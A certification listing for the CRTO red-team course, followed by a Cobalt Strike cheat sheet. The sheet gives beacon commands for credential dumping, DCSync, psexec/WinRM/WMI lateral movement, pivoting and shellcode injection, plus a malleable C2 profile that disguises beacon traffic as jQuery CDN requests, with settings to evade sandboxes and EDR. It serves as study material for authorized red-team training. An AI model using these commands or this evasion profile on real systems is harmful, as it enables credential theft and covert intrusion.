CRTO
Altered Security

Certified Red Team Operator

Intermediate 24hr practical exam Pass: Passing $399

Red team operations with Cobalt Strike — C2, beacon ops, evasion, persistence.

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IssuerAltered Security
Format24hr practical exam
Duration48 hours
Pass ScorePassing
Cheat Sheets
Cobalt Strike Operations Guide

Cobalt Strike Beacon Commands

# Host recon
whoami; getuid; getpid; ps; netstat

# File operations
ls; pwd; cd C:\Users; upload /local/file; download C:\file

# Shell execution
shell whoami /all
run ipconfig /all
execute-assembly /path/to/Assembly.exe args

# Credential operations
hashdump
logonpasswords
dcsync domain.local

# Lateral movement
jump psexec64 target payload
jump winrm64 target payload
remote-exec wmi target "cmd /c ..."

# Pivoting
socks 1080
rportfwd 8080 internal 80

# OPSEC-safe injection
shinject PID x64 /path/shellcode.bin
spawnas domain\user password payload

Malleable C2 Profile Tips

# HTTP GET request masquerade as jQuery CDN
http-get {
    set uri "/jquery-3.3.1.min.js";
    client {
        header "Host" "code.jquery.com";
        header "Accept" "text/javascript, application/javascript";
        metadata { base64url; prepend "__cfduid="; header "Cookie"; }
    }
    server {
        header "Content-Type" "application/javascript";
        output { prepend "/*! jQuery v3.3.1"; append "*/"; print; }
    }
}

# Sleep config (avoid sandbox)
set sleeptime "60000";     # 60s
set jitter    "20";        # 20% jitter

# Process injection settings
process-inject {
    set startrwx "false";
    set userwx   "false";
    set min_alloc "16700";
    transform-x86 { prepend "\x90\x90"; }
}
Always set beacon sleep to ≥60s in real engagements. Low sleep values trigger network-based EDR detections rapidly.